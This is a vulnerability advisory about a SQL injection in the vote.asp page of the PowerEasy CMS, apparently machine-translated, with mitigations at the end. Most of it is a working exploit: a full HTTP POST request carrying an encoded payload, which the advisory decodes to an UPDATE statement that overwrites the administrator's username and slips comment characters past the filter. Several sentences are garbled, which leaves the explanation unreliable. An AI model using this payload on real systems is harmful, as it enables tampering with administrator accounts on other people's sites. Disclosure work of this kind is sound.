2007 10.30 Dynamic Web site Management System vote.asp page exists SQL Injection Vulnerability Research

Test system:
Move easy (powereasy CMS SP6 071030 the following version)

Security Overview:
Dynamic Web site management system is a use of ASP and MSSQL and other other kinds of database construction of efficient Web site content management Solutions products.

Vulnerability Description:
Vote.asp called the dynamic component Pe_site.showvote, this component voteoption parameter filtering is not strict, resulting in the MSSQL can be injected
But its statement filters------------------------the injection of an update-shaped But the filter is not in the right order. There are annotation symbols that cause MSSQL--you can enter the statement

Test method:

POST vote.asp http/1.1
Accept:image/gif, Image/x-xbitmap, Image/jpeg, Image/pjpeg, Application/x-shockwave-flash, */*
Referer:http://127.0.0.1/vote.asp?id=2&action=show
Accept-language:zh-cn
content-type:application/x-www-form-urlencoded
Accept-encoding:gzip, deflate
user-agent:mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1. NET CLR 2.0.50727)
host:127.0.0.1
content-length:160
Connection:keep-alive
Cache-control:no-cache
cookie:rtime=0; ltime=1191765883073; cnzz_eid=6855133-; ajstat_ok_times=2; viewmode=1; Pjblog2setting=viewtype=normal; http%3a%2f%2fkw%2elyedu%2ecom%2ecn=lao=8; Style=null; Chkremember=false; Aspsessionidssrcabta=jjodphaackphcfnfckeinaln; Votedid=1

Voteoption=1%3d1+%75%70%64%61%74%65%20%50%45%5f%41%64%6d%69%6e%20%73%65%74%20%61%64%6d%69%6e%6e%61%6d%65%3d%30 %78%36%31%2d%3b%2d&votetype=multi&action=vote&id=2

of which 1%3d1+%75%70%64%61%74%65%20%50%45%5f%41%64%6d%69%6e%20%73%65%74%20%61%64%6d%69%6e%6e%61%6d%65%3d%30%78%36%31 %2d%3b%2d after decoding for
1=1+update Pe_admin Set adminname=0x61-;-
They first filtered--and then filtered; Causes the annotation character to be brought into the statement easily in the form of-;-, after executing the statement, the Administrator's username is successfully set to a
Solution:
Update the dynamic component (requires administrator's privileges to update).
Delete this file if you do not need the voting function.
Users who need to, but do not have permission to update the dynamic component (requires administrator's privileges to be updated). Please filter each parameter in the vote.asp file.